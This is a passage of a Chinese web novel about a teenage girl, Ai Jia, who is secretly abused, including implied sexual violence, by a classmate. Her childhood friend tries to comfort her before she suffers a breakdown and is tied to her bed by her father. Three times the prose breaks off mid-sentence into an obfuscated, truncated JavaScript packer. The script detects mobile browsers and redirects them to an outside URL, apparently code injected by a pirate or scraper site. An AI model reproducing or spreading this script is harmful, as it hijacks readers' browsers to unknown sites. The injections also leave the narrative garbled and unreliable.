艾嘉勉强挤出一抹笑。 照片里,城堡旁的艾嘉笑得极其不自然,蹲着的样子也很僵硬。 正值夏日,她穿着白色高领长袖、长裤,即便这样,还是能从那竖着的领口看到一点红色痕迹。 迟予辰问她为什么把自己裹成这样,她说她怕晒黑。 * 第二天,迟予辰买了防晒霜,来到她的房间,撩起她白色高领雪纺衫的衣袖,看到了上面紫红的痕迹,一道一道,诡异又可怖。 迟予辰顿时惊了,不敢置信地看向艾嘉:“谁打的?叔叔吗?” 艾嘉收回了手,把衣袖放下去,没有说话。 “小嘉同学,你告诉迟哥,是不是叔叔打的?”迟予辰心里腾起熊熊怒火,恨不得把这个罪魁祸首烧成灰烬。 艾嘉还是没说话,垂着脑袋,几乎要垂到胸前。 她这么一低头,脖子上的红色痕迹便被迟予辰看见了。 迟予辰掀开她高高的衣领,看到了脖子上也有紫红色痕迹。 他看得又心疼又气愤,叔叔对她为什么要下这么重的手? 他知道叔叔经常骂艾嘉一些难听的话,他曾去找过叔叔,让他平时能不能好好跟艾嘉沟通,艾嘉也不想那样。 结果,叔叔愤怒道:“我们的家事,用不着你管!” 他很想让艾嘉天天住在他家,他来保护她。 但这显然很不现实。 他不得不承认,他还没有足够的能力保护她,不受她爸爸的各种侮辱。 迟予辰想着,总有一天,他要把她带出蓝城,远离她爸。 但他怎么也没有想过,她不仅遭受着精神上的侮辱,也深受身体上的摧残。 他的沉睡公主受伤了。 迟予辰望着神思游离的艾嘉,语调放到最柔和:“小嘉同学,告诉迟哥好不好?” 艾嘉摇摇头。 也许,她不想揭开伤疤。 迟予辰把防晒霜放到床上,站起来:“小嘉同学,你先别出去,在这儿等迟哥。” 艾嘉像个木偶人,一动不动地坐着,眼睛呆滞、涣散,身上没有一处不是疼的,尤其是某处。 她被霍盛源无数次践踏,成了一块脏得不能再脏的破布。 迟予辰很快回来了,满头大汗,气喘吁吁,气还没喘匀,就把药膏从盒子里拿出来,没有立刻给艾嘉抹药,而是轻声说:“小嘉同学,迟哥帮你抹药,要是疼了就告诉我。” 艾嘉还是个木偶人,不说话。 迟予辰见她没有挪一点位置,心像被重物重重碾压,疼得厉害。 他想守护的小姑娘受了这么重的伤,他怎么现在才发现? 迟予辰撩开她的衣袖,发现上面有交错的旧痕新伤。 他的鼻头忽然泛酸,有种想痛哭一场的冲动。 但他不能,他必须平静,他知道,他要是情绪波动了,小嘉同学会比他的情绪波动更厉害。 迟予辰将白色乳膏挤到伤处,再用指腹轻轻推开:“疼吗?” 艾嘉终于动了,她摇了摇头。 她感觉不到疼,这点疼跟霍盛源施加在她身上的疼相比,什么都不算。 迟予辰给她两只胳膊、脖子都抹完药,看到她的蝴蝶骨上也有伤痕,是不是她全身都有伤? 迟予辰站在艾嘉身前,双手把她圈住,帮她在后颈上抹药:“小嘉同学,其他地方,你自己抹吧,我不方便。” 艾嘉没说话,半晌,她主动抱住了他,把脑袋靠在他的胸膛上,肩膀像个起伏的小山似的,一下一下地 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艾嘉跟他去了,来到了一家露天餐厅。 迟予辰点了满满一桌海鲜,蛤蜊、蛏子、扇贝、虾、螃蟹、牡蛎、生蚝……都是清蒸的。 “点这么多,哪吃得完。”艾嘉喜欢吃海鲜,但想想差不多有一年没吃了。 她还记得妈妈在世时,每周都会给她做水煮虾,蘸上调料,简直人间美味。 “壳多肉少。”迟予辰戴上手套剥虾,剥了一只又一只,每只都放在了艾嘉的盘里。 “够了,迟哥,你也吃。”艾嘉夹了一只放到迟予辰盘里。 “小嘉同学多吃点,你看你现在多瘦。”迟予辰开始剥螃蟹,螃蟹腿都放在自己盘里,螃蟹身子都放在艾嘉盘里。 他知道,艾嘉从来不爱啃螃蟹腿,她嫌麻烦。 “我瘦得很明显吗?”艾嘉夹了一只虾,边蘸调料边问。 “难道你不照镜子吗,都瘦成一道闪电了。” 艾嘉确实不敢照镜子,一照镜子就看到脖子上乱七八糟的痕迹,看到自己那颓丧的脸、那无神呆滞的眼睛。 “好,我多吃点。”艾嘉吃着最爱的水煮虾,吃了一只又一只。 奇怪,还是饭店做的,为什么没有之前妈妈做的好吃呢? 妈妈,你在天堂还好吗? 忽然,她很想妈妈,心头泛起一阵酸涩。 妈妈,你要是还在的话,一定每天都还会给我做水煮虾吧。 正在艾嘉伤心感怀之际,耳边传来一阵歌声: 格林家的公主安徒生的女王 牵手的孩子喝着幻想 眨睫毛撇嘴角带坏笑的不老 懒懒的秒针挂着糖浆 你发的娃娃脸降落在身边 可惜我还没有发现 你画的娃娃脸拿铁上圈点 倒一杯爱情的香甜【注】 …… 轻快优美的旋律在充满海腥味的空气里响起。 艾嘉之前没听过这首歌,初听觉得旋律好听,脑中浮现歌曲中甜蜜温暖的画面。 正沉浸其中,听到对面的迟予辰说:“小嘉同学,你也是娃娃脸,从小就是,很可爱。” 艾嘉不由得弯起嘴角,是啊,她是娃娃脸,脸肉肉的,小时候,大家都觉得她可爱。 迟予辰还老捏她的脸说:“小嘉同学,你的脸捏起来像捏橡皮泥。” 16. 生日快乐 现在,她还是娃娃脸吗?正如迟予辰所说,她瘦成一道闪电了,偶然照镜子的时候发现娃娃脸没了,两颊的肉严重缩水。 她的脸成了不合格产品,在人群中浑水摸鱼,全当自己还能充当人类。 初高中时,在她们学生群体里,流行瓜子脸,她曾引以为豪的可爱娃娃脸过时了,她多希望能瘦些,瘦成尖下巴、瓜子脸。 如今,下巴成了尖下巴,脸倒没有成为瓜子脸,如果硬要跟瓜子挂上勾,那也是南瓜籽。 艾嘉有些想念她的娃娃脸了。 那天,是七个月以来,她吃得最多、最满足的一次,她的竹马尽心尽责地剥各种壳,壳里的肉大部分都放在了她的盘子里。 艾嘉嘴巴里塞满了鲜香的牡蛎肉,笑着跟迟予辰说:“迟哥,好吃!” “好吃就多吃点。”迟予辰还往她盘里放剥开的扇贝肉,“迟哥希望你能养胖点,跟之前一样。” 迟予辰刚想去捏她的脸,看到手上还戴着塑料手套,连忙摘下,捏她的脸:“迟哥喜欢你的娃娃脸。” 他捏的娃娃脸,不似从前,捏起来不像捏橡皮泥,像捏干枯的树枝。 第四天,是他们在蓝海湾的最后一晚,第二天就要坐飞机回去了。 迟予辰拉着艾嘉在海边走了一天,捡贝壳、挖沙子、找海螺……累了就找个阴凉的地方,毫无顾忌地躺在柔软的沙子上。 他们并排躺着,艾嘉望着湛蓝天空上缓缓流动的云朵,神情中有着前所未有的轻松:“迟哥,下辈子你想做什么?” “能做什么,还做你的邻居。”迟予辰说。 “我有什么好,还做我的邻居,你累不累啊。”艾嘉笑,心里升起阵阵暖流。 “小嘉同学,你呢,下辈子想做什么?” “就做一朵云吧,自由自在地在天空飘荡。” “别做云了。” “为什么?” “云没有归宿,没有家。” “天空就是它的归宿,它的家。” “这样想也可以。”迟予辰双手交叠撑在脑后,望着蓝天白云,“我改变主意了,下辈子,我就做天空吧。” * 夜晚,皓月当空,繁星点点,洒向海面,金沙似的随着海水荡漾、起伏。 “听说,如果幸运的话,今晚可以看到蓝眼泪。”迟予辰说。 “蓝眼泪是什么?”艾嘉没有做任何功课,一切都听迟予辰的安排。 “在海里有一种生物叫海萤,海浪拍打时,它们会发出蓝色的光。”迟予辰从手机保存的照片里找出一张给艾嘉看,“就是这样。” “好好看。”艾嘉看到夜晚的海边铺着层层流淌的荧光蓝,“什么时候能看到?” “九点以后。” “我们等吧。”艾嘉看了看时间,八点四十。 他们等了二十分钟,海水没有变化。 他们又等了二十分钟,海水依然没有变化。 他们又继续等了二十分钟,海水还是没有变化。 迟予辰看着打哈欠、一脸失落的艾嘉说:“要不然我们回去等,海水能不能变蓝,从我们的窗户就能看见。” 艾嘉摇摇头:“再等等吧。” 她不想回去,这是她在这里的最后一晚了。 这四天,她忘记了世上的一切烦恼,她的世界很美好,美好得只剩下她跟迟予辰。 有迟予辰在的地方,就是温柔盛开的天堂。 她那条破碎的人生长河里没了肮脏,只有干净的月亮和明媚的太阳。 “来了,小嘉同学,你看,来了!”迟予辰望着之前泛着金光的海面渐渐泛起了蓝光,蓝光一闪一闪的,像有无数萤火虫在里面闪烁。 艾嘉看着海面的蓝色越来越多,直到铺满了整个海岸线。 那真是她见过最美的奇景,海萤藏在海水里,泛着深蓝色的光芒,像一滴滴蓝眼泪。 她的脸上挂着落不下的笑容,心脏突突突地剧烈跳动。 她感觉自己活过来了,像个活人了,还是个快乐的活人。 “走吧,小嘉同学,我们去看蓝眼泪咯!”迟予辰兴奋地喊着,他拽住艾嘉的手往海边跑去。 他们在柔软的沙滩上奔跑,薄薄的衣服被风吹得扬起,少年露出劲瘦的腰,少女露出枯瘦的腰,前者健康干净,后者道道红痕。 谁也无法阻止他们奔向快乐。 他们迎风奔跑,迎风呼喊,好像天地间只剩下他们。 他们跑向属于他们的浪漫之地。 “啊!”艾嘉喊出的声音比迟予辰的声音还响亮,似乎穿透了山海湖川,击破了时光洪流,直抵自由深处。 喊着喊着,她哭了,哭得脸上都是被风吹得凌乱交织的眼泪。 他们跑到了海边,迟予辰一转头,看到了脸上挂满泪水的艾嘉。 迟予辰的笑容瞬间消失,心沉了下去:“怎么了,小嘉同学?” “没什么,迟哥。”艾嘉边笑边哭边抹眼泪,“我没想到我还能看到这么美的风景,还能跟迟哥在一起。” “这有什么,以后迟哥多带你出来看风景,好不好?” “说话算数?”艾嘉的声音哽咽,泪水没擦干净,胡乱地散布在脸上。 “当然说话算数。”迟予辰细心地帮她擦掉她脸上残留的泪水。 “小嘉同学,不哭了啊,掉一滴眼泪就是掉一颗水晶,你这是掉了多少水晶了,家财还是不要外露的好。” “迟哥,你在说什么,嘴里是不是跑过一辆悬磁浮列车了。”艾嘉吸了吸鼻子,笑起来,神采奕奕,眼睛晶莹剔透,像装了无数的水晶。 “来,跟迟哥拍张照,留个念。”迟予辰举起手机,调整着角度,“小嘉同学,你往我这边靠一靠,你的右脸没进来。” 艾嘉往他那边靠了靠。 迟予辰见她右脸还有一点没在屏幕里,直接上手轻轻地扶着她的脑袋,干脆让她靠在自己肩头:“欸,就这样别动。” 他们拍了一张又一张合照,每张照片里的他们,都笑得灿烂又恣意。 他们在暗夜里,却像活在艳阳下。 他们见到了只属于他们的蓝眼泪。 …… 拍完照,艾嘉沿着海岸线一直走,一直走。 她手中拎着夹脚拖,伸展着双臂,以一种极其舒展的姿态走着,赤脚走在荧光蓝的海水里,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999169|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些闪烁着的蓝色海萤漫过她干瘦、洁白的脚踝。 海水凉凉的,扫去了夏日里的燥热,艾嘉感到好舒服。 不知走了多久,也许没几步,也许好多步,她听到走在她身后的迟予辰说:“小嘉同学,生日快乐!” 生日快乐?艾嘉不走了。 她停顿了几秒才转身去看迟予辰,他正笑着看她。 她完全忘了,今天竟然是她的生日。 “谢谢迟哥!”艾嘉微笑道。 谢谢迟哥,谢谢你记得我的生日,谢谢你带我来看蓝眼泪。 “不用谢。”迟予辰从裤子口袋里拿出一个小盒子,递到艾嘉面前,“生日怎么能少了礼物。” 艾嘉望着他手心里那个非常朴素的橙色盒子,心里泛起甜又泛起酸。 之前每年过生日,爸爸妈妈都会陪她一起过,会给她买生日蛋糕,送生日礼物,祝她“生日快乐”,祝她“健康快乐地长大”。 去年,7月20日,她的生日派对,从三个人变成了两个人。 她最爱的妈妈不在了,不再陪她过生日了。 她点上蜡烛,听着爸爸给她唱生日歌。 明明是应该快乐的一天,她却觉得无比悲伤。 她许了一个愿,希望妈妈能回来,回到她身边。 许完愿,她拿了三个餐盘,切了三块蛋糕,一块给自己,一块给爸爸,还有一块给妈妈。 她对着妈妈那盘蛋糕说:“妈妈,蛋糕好吃吧,甜吧。好吃的话,你就都吃完啊,不要有剩的。你之前不是跟我说,粮食宝贵,千万别浪费吗,你也不要浪费哦。妈妈,你跟我说的,我都记着呢。” 今年,7月20日,她的生日派对,从两个人变成了一个人,又从一个人变成了两个人。 不变的一个人是她,变的另一个人是爸爸。 爸爸不再记得她的生日,不再跟她说“生日快乐”。 好在她不是孤零零的一个人,好在还有迟予辰陪她一起过。 艾嘉接过盒子,打开一看,是一条甜橙手链,金色链子,链子上挂着一颗栩栩如生的橙子,上面点缀两片大小不一的绿色叶片。 艾嘉拿出手链,放在手心里,在月色下,手链折射出耀眼的光。 “听说,戴了这款甜橙系列的手链,一辈子都会拥有好运。”迟予辰说,“要不要我帮你戴上?” “好啊。” 迟予辰拿过手链帮她戴,指腹触到她干瘦的手腕。 她真的好瘦,瘦得他心疼。 “迟哥,你说,戴上甜橙手链,真的会一辈子拥有好运吗?”艾嘉的目光里透出期许。 “会的。”迟予辰扣上手链扣子,“开过光的。” “迟哥,你嘴里又开过一辆悬磁浮列车了。” “很多事情,你相信了,就会存在。”迟予辰握住她纤细的手腕,指腹来回地在她腕间摩挲,望向艾嘉,“如果好运还没到来,一定是时机未到。” “迟哥说什么,我都信!”艾嘉眼里终于露出一丝光。 那一刻,她相信,她人生的长河不会一直肮脏。 她相信,总有一天,肮脏会褪去,她会看见清澈的河床。 17. 解语花复活的秘密 蓝海湾之旅结束后,艾嘉又回到了她那暗无天日的生活。 好的是,放暑假,不用面对学生和老师,不用上无休无止的课,不用接受别人朝她看过去的奇怪眼神。 迟予辰比之前更爱往她家里跑,有事没事都爱跑。 他发现一件奇怪的事,每天都侧耳聆听隔壁有没有打骂声,发现没有打,只有骂。 那她身上的伤痕是哪儿来的? 他还发现只要他去她家,艾爸就不骂艾嘉,对他好言好语,对艾嘉也好言好语。 他恨不得住艾嘉家! 迟予辰一大早就跑去艾嘉家找她,给她送她爱吃的红豆麻团、豆浆,一待待一天,晚上要很晚才回去。 艾爸在家时,他会待到十点才离开。 艾爸不在家时,艾嘉就让他留下来,睡一张床,一人一条被子。 他陪她的夜晚,她没有一次做过噩梦,睡得格外踏实。 * 八月的一天,迟予辰坐在艾嘉的书桌前,翻看她做的数学练习册,发现上面的题答得一塌糊涂,字也写得凌乱,她之前的字可不是那样,她写的字一向很规整。 练习册里夹了一张草稿纸,纸上胡乱地画了些东西,是什么? 像人又不像人,像鬼又不像鬼。 这人不人鬼不鬼的怪物张牙舞爪,有尖尖的獠牙,右下角有一个蹲在地上的小女孩,小女孩被圈在一圈又一圈的黑线里,像被困在无法走出去的牢笼。 他左看右看看不出什么端倪,拿过去刚想问艾嘉,却被她一把夺过去:“迟哥,你别乱翻我的东西。” “我看看,有哪些可以教你的。”迟予辰解释。 他望着一脸惊慌的艾嘉,不明白就一张草稿纸,她有什么好惊慌的。 艾嘉感到自己的反应有些大了,用笑容掩饰过去,翻开数学练习册,找到一道函数题:“迟哥,你帮我看下,这道题怎么解。” 关于那幅画画了什么,她不说,迟予辰也没问。 她的情绪时好时坏,像隐形炸弹。 他得哄着她,她的那根引线才不会被点燃。 迟予辰每次教她题目时,她经常不在状态,他提醒了,她才回神,但很快又处于游离状态,让她做那些他教过的题目,她还是一道都不会。 他有很强的挫败感,但仍旧保持耐心,一遍遍地教她。她终于会了一道,他都要为此兴奋不已,比自己考上了B大还开心。 * 八月的另一天,迟予辰又教艾嘉功课,找不到修正液,到处找,在桌上找了一圈没找到,又拉开抽屉找。 翻着翻着,翻出了他送给她的毕业照,他拿出来看,发现下面好像还粘了一张,发了潮,都粘一块儿了。 迟予辰扯下来时,看到下面那张时面露惊讶。 不只是因为发潮照片有的地方糊了,还因为右半边被剪掉了,右边站着的那个人,是他的好朋友——霍盛源。 为什么小嘉同学要剪掉霍盛源? 他之前问过她,为什么不追霍盛源了,她说,不喜欢了。 他没多想,小女生的喜欢能坚持多久呢。 不喜欢霍盛源挺好,他就不用天天看着他们在教室里补习功课而不爽了。 没有霍盛源时,小嘉同学每天都跟他一起骑车回去。 有了霍盛源,小嘉同学完全见色忘义,总跟霍盛源一起回去,还傻了吧唧地绕远路。 她喜欢一个人时,真像脑子进水了。 只是,迟予辰没想过有一天,他也脑子进水了。 他好像喜欢上艾嘉了,不是竹马对青梅的喜欢,而是一个男生对一个女生的喜欢。 从什么时候开始的,他不知道,只知道她跟霍盛源在一起时,他就很不舒服。 圣诞节那天,迟予辰本来想拿着糖果礼盒跟艾嘉告白,但他不小心看到了艾嘉废掉的几张便签纸,上面写的全是情意绵绵的告白。 他知道,她的告白对象是霍盛源。 他能做什么? 他做了逃兵,为了成全她的幸福。 他以为她告白后会幸福,但她告诉他:“我不喜欢他了。” 听到这话时,迟予辰觉得自己整个人都要飞起来了,就像一个氢气球,自由自在地在天空飞翔。 他恨不得告诉全世界: 他的女孩回来了!他有机会了! 不过,艾嘉变了个人,变得极其不快乐。 他的首要任务除了学习,不再是想着什么时候跟她告白,而是想着怎么能让她快乐一点,再快乐一点。 她在学校里,把自己活成了一座孤岛,整个人失去了所有的光彩。 他想着法儿让她开心,他发现,她跟自己在一起时,才能恢复生气。 对他来说,他的小嘉同学就像一株海棠,需要阳光雨露、悉心照料,才会茁壮生长。 他送给小嘉同学一盆海棠,她送给他时,海棠的根都坏了,他一看就知道养不活了。 但他装作没事一样笑着跟她说:“我来帮你养几天,还给你的时候,保证是活的。” 他不是魔法师,不能施法让海棠活过来。 迟予辰想了个办法,又去花鸟鱼市场买海棠,挑了一盆又一盆,终于挑到跟他之前送艾嘉那盆很像的。 他把很像的海棠买了回来,一一摆放在阳台的栏杆上,正好摆了八盆。 后来,他给艾嘉送去一盆新海棠:“你看,我养得不错吧,又活过来了。” 艾嘉开心地几乎要跳起来。 那之后,艾嘉又有两次找他,说海棠快活不了了。 迟予辰又给了她两盆新的。 只是艾嘉从来不知道,他给她的那三盆,没有一盆是他养活的。 他想给她希望,想告诉她,即使快要活不下去了,也是有救的可能。 剩余的五盆海棠,他悉心照料,以备艾嘉再来找他。 以后他要去B大了,艾嘉的海棠再有垂死迹象,她该怎么办? 她找不到他了,还有谁可以给她撒一个美好的谎言,告诉她,她的海棠又活了。 …… “迟哥,你乱翻什么!”倒完水回来的艾嘉一把夺过他手里那张残破的照片。 迟予辰的思绪一下子被拉回,不理地看她:“小嘉同学,为什么你要剪掉霍盛源?” “就……就不小心剪的。”艾嘉看起来有些慌,随口胡诌。 迟予辰不信。 他不明白,就算艾嘉不喜欢霍盛源了,也没必要这么恨他吧,恨到要把他剪下来,还是说把他剪下来,偷偷地藏在某个地方? “你是不是还喜欢霍盛源?”迟予辰目光黯然,“所以,你把他的照片剪下来收起来了?” 艾嘉没有立刻回答,过了会儿才说:“是收起来了,你满意了吗?” 迟予辰脸色倏然变了,极为不悦,他转身疾步出了她的卧室。 那天,艾爸晚上没有回家,艾嘉破天荒地没有留迟予辰,他也没有多停留,只待到八点就走了。 艾嘉又开始做噩梦,梦见青面獠牙的厉鬼来索她的命了。 * 暑假的那一个多月,迟予辰有心去留意艾嘉身上有没有青紫色伤痕,他发现她敢穿短袖了,也敢穿裙子了。 她身上的伤痕消退了,又变回那个皮肤白皙的女生了。 只是,他不知道,在他看不见的隐秘地方,艾嘉受着别的伤,让她日夜疼痛,却不能跟任何人说。 但总归要比之前好一些,最起码不用遍体鳞伤。 这还要多亏迟予辰,是艾嘉跟霍盛源说,迟予辰看到她的伤,问她是怎么来的,她没说,但她怕迟予辰会发现点什么。 自那以后,霍盛源收敛了些,让她身体看得见地方没了鞭痕,但加重了看不见地方的鞭痕,他总想着怎么让她疼,最好让她疼得大叫、大声求饶,永远臣服于他。 …… 两人都要开学了,但这次不同的是,迟予辰再也不会去高中了,他即将要奔赴B大。 走之前,迟予辰只简单收拾了一些夏秋两季要穿的几身衣服,想着国庆节回来再带些冬装过去。 迟妈却在他箱子里塞了好些东西,降温了怎么办,让他带着秋衣秋裤;当地特产买了四五袋,让他分给室友,好好跟室友相处;洗漱用品、毛巾也都买了新的,生怕他去新的地方找不到去哪儿买……甚至连她炒的熟花生都想让他带。 迟予辰望着满满一箱子东西,有些发愁,这都快拉不上了。 这时,传来敲门声,就一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我去了又不是不回来,带那么多衣服做什么。”迟予辰也蹲下来,重新摆放行李箱里的物品,“国庆节,迟哥还回来。” 收到迟予辰的一件牛仔外套时,两人的手碰到了一起,谁都没有移开,谁都愣住,谁都觉得彼此的手指好烫。 迟予辰的心怦怦乱跳。 艾嘉觉得不自在,反应过来后,很快抽回了手。 为了缓解尴尬,迟予辰说:“小嘉同学,这条围巾你织了多长时间?” “织得不好看吧。”艾嘉难为情道,“其实,我本来不想送你的。” 织了多长时间? 整整45天,每天晚上睡不着,她就坐在书桌前织。 “为什么不送?” “不好看啊。” “只要是小嘉同学织的,迟哥就觉得好看!” “迟哥,就你在意我。”艾嘉心里一暖,先前还怕迟予辰会嫌弃,讥讽她一番,没想到他非但不嫌弃,这次还要带去学校。 “傻瓜,我妈我爸也都在意你的。”迟予辰揉了揉她的脑袋,“你一来我们家,他们对你可比对我还好。” 这倒是真的,迟予辰一家对她都很好,她只有在他家,才能感到片刻的温情。 “迟哥,谢谢你。”艾嘉说得格外诚恳。 谢谢你,送我粉色城堡的水晶球。 谢谢你,送我解语花,还三次把它们重新养活。 谢谢你,在深夜去找我,把我带回家。 谢谢你,配合我演《罗密欧与朱丽叶》。 谢谢你,带我去蓝海湾,送给我一座沙子城堡。 谢谢你,给我买损伤药,帮我抹药。 谢谢你,给我点了一大桌海鲜,我吃的每一只虾、每一个牡蛎、每一只螃蟹,都是你帮我剥的。 谢谢你,记得我的生日,还送了我一条甜橙手链。 谢谢你,暑假的每一天都陪着我,不厌其烦地帮我补习功课。 谢谢你,在我陷入沼泽地时,一次次把我拽上来,告诉我,这世界不全是黑暗,这世界也有光。 迟哥,理想国梦断黄粱,你是我的解语花。 18. 疯了 迟予辰去B大那天,是坐高铁去的。恰逢艾嘉也开学,他知道,她不会来。 在高铁的进站口,迟予辰跟爸妈告别,让他们回去,他知道爸妈的不舍,他朝他们挥手:“回去吧,还有一个月我就回来了!” 迟爸迟妈离开了高铁站。 迟予辰拖着沉重的行李箱刚想去检票,却听到有人喊他:“迟哥!” 他停住了,连忙拖着行李箱,穿过重重人群,朝外奔跑,边跑边往右边看,看到了正在朝他挥手的艾嘉。 他的沉睡公主醒了,醒着来见他了! 迟予辰一路狂奔,朝她跑去,跑到她面前,紧紧地、紧紧地把她抱在怀里,激动道:“小嘉同学,我以为你不来了。” “怎么可能不来,你可是我迟哥。”艾嘉也抱住他,把脑袋深深地埋进他怀里,“是我最好最好最好的迟哥!” 那天,阳光格外明媚,阳光下的他们紧紧相拥,谁都舍不得放手。 他们在人潮涌动的广场上,旁若无人地上演难舍难分。 那天,艾嘉一直笑着跟迟予辰挥手,迟予辰也一直笑着跟她挥手,跟她说:“走吧。” 但小嘉同学仿佛成了一块望夫石,怎么也不肯走。 她一直望着迟予辰,迟予辰就一直倒着走。 “小嘉同学,我走啦!”迟予辰要去检票了。 艾嘉快看不见他了,眼睛忽然发酸,心头袭来汹涌的酸涩。 她的迟哥要离开了,还有一个月才能见到他。 以后的一个月,她要怎么度过? 那个快消失的迟哥,出现了,倒着走回来了,笑着跟她挥手:“小嘉同学,我走啦!” “走吧,走吧,别回头了!”艾嘉的眼泪快要掉下来了,但她仰头,眼泪倒流回去。 迟哥又倒着往检票口走,听到有人骂他神经病,他无所谓,他的眼里只有艾嘉。 艾嘉看着迟哥的身影越来越远,心里的酸涩越来越浓,浓得蔓延到她每个细胞。 但她很快看到迟哥又出现了,又倒着走回来了,笑着跟她挥手:“小嘉同学,迟哥会想你!你也要记得想迟哥!” 艾嘉终于忍不住,眼泪刷地掉了下来,双手做喇叭状,放在嘴边,不管不顾地大声说:“迟哥,我也会想你!” 迟哥,你要做好准备了。 我会每天想你。 我会一直想你。 她的迟哥最后还是走了,熙熙攘攘的广场上,那么多人,她却觉得全世界只剩下她一个人。 * 没有迟哥的日子,艾嘉又陷入深深的沼泽地。 霍盛源把之前在她身上没有得到的满足,加倍要了回去,让她的全身又遍体鳞伤。 一个月,足以让一个人脱胎换骨,也足以让一个人疯疯癫癫。 艾嘉疯了,在迟予辰走后的第三天。 开始,她白天上课还算正常,但晚上回到家就开始自言自语,大声叫喊。 一次直接把艾爸给吓醒了,去她房间,看到她蓬头垢面、神情呆滞,一动不动地坐在床上,像个女鬼。 艾爸毫不客气地呵斥她:“你没事鬼叫什么!” 艾嘉叫得更厉害,不敢去看艾爸,挪到床角,瑟缩着说:“你出去!” “大晚上的,你别鬼哭狼嚎了!” 后来,演变到艾嘉在上课时站起来跑到外面,时而笑时而哭,地面刚拖过,都是水,走在上面很滑,她像看不见似的,毫无顾忌地滑着,越滑越快,像溜冰运动员。 溜着溜着,艾嘉重重地摔倒了,正好摔到了脑袋,昏了过去。 班主任给艾爸打电话,让他赶紧来学校把她送医院,艾爸说有要紧事过不去,他会打急救电话。 还没打电话,艾嘉就醒了,醒了一直说:“我要回家,我要回家……” 那天,她回家了,从此再也没去学校,她害怕教室、害怕假山、害怕百花园,霍盛源还会在这些地方践/踏她。 只要她看到教室、假山、百花园,就会想起霍盛源。 即使看不见教室、假山、百花园,她也会出现幻觉,看到这些,还会出现幻听,听到霍盛源对她的各种侮辱话语。 * 那段时间,艾爸经常不在家,说是公司安排出差了,大半个月都不在。 等他再回来时,他的女儿已经不再是他的女儿,而是一个疯子。 有时正常,有时疯癫,常常胡言乱语,说看到了什么,说要离开什么,又说要谁滚。 到了晚上,疯狂砸天花板、疯狂砸桌子,疯狂砸玻璃,她的房间、客厅成了大型灾难现场。 艾爸见她这样,又惊又气,看到她破坏后的房间、客厅,被气得失控。 她正好处在疯癫状态,艾爸试图用暴力解决问题,啪啪朝她脸上使劲扇了两巴掌。 艾嘉不气反笑:“打啊!继续打啊!”说完用力推他,推完他破坏性地把书桌上所有的书一本一本地往地上砸。 艾爸见她状态很差,转身出了房间,等再进来时,手里拿了尼龙绳,用力拽住她的手,她拼命挣扎着。 最后,艾爸把她绑在了床上,双手被绑在床头,双脚被绑在床尾。 艾爸一秒都不想待在那个乱得没法下脚的房间,房间的地上都是棉絮、破布、碎纸。 …… 第二天,艾爸想把艾嘉送去医院,却发现艾嘉恢复正常了,他怀疑他昨天看到的艾嘉说不定是被什么附身了,也就没当回事,听从上级安排,又去出差了。 出差前,他从她的班主任那儿了解到,艾嘉的状态很不好,已经大半个月没去上课了。 艾爸怕学校劝退艾嘉,跟班主任解释了艾嘉的情况,说她生病了,正在治疗,先申请了两个月的假,假条是他让同事wei造的,跟真的一样。 他想着,等他出差回来,如果她还这样,再带她去医院看看。 * 国庆节的时候,迟予辰回来了,赶巧那天艾嘉的状态很好,跟正常人一样,她去高铁站接迟予辰,在出站口,她笑着跟迟予辰挥手。 迟予辰冲出人群,飞奔到她身前,用力地抱住她,像抱住久违的恋人,在她耳畔说:“小嘉同学,迟哥回来了!” 艾嘉紧紧地抱住迟予辰:“迟哥,欢迎回家!”声音像要哭,脸上却是挂着笑容。 他们坐公交车回家,迟予辰发现艾嘉不太正常. 她会对着玻璃自言自语,会在玻璃上写写画画,他问她在做什么、在画什么。 艾嘉笑着跟他说:“没什么啊。” 等迟予辰回到家,迟妈拉住他,小声跟他说:“儿子啊,你知道小嘉疯了吗?” “疯了?”迟予辰难以置信,“怎么可能,她今天去接我的时候,很正常啊。” “她没对你做什么吧?”迟妈捧着迟予辰的脸,左看看右看看,看看他有没有受伤。 “她能对我做什么。”迟予辰拿开迟妈的手,想到艾嘉的一些怪异举动,心底浮上重重谜团,很不是滋味。 “儿子,妈妈跟你说,你少跟她接触。” “妈,你怎么能这样,她又没做对我做什么,我为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016870|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要跟她少接触。”迟予辰赌气道,“我现在就去找她!” 他作势就要往门口走,迟妈抓住他:“不准去!” “妈,为什么?”迟予辰皱眉。 “妈妈不希望你跟一个疯子做朋友,也不希望别人说,你在跟一个疯子做朋友!” …… 迟予辰还是一意孤行地去找艾嘉了,看到她家时,惊讶不已,客厅、她的房间又乱又脏,不复从前的干净模样。 他问她发生什么了,她笑:“这是我的游乐场,美不美?” “小嘉同学,你告诉迟哥,你怎么了?”迟予辰把手搭在她的肩头,低头看着笑得有些不正常的艾嘉。 “我很好啊,迟哥。”艾嘉渐渐适应自己这样的状态,笑得有点傻。 迟予辰不再问,放在她肩头的手指渐渐收紧。 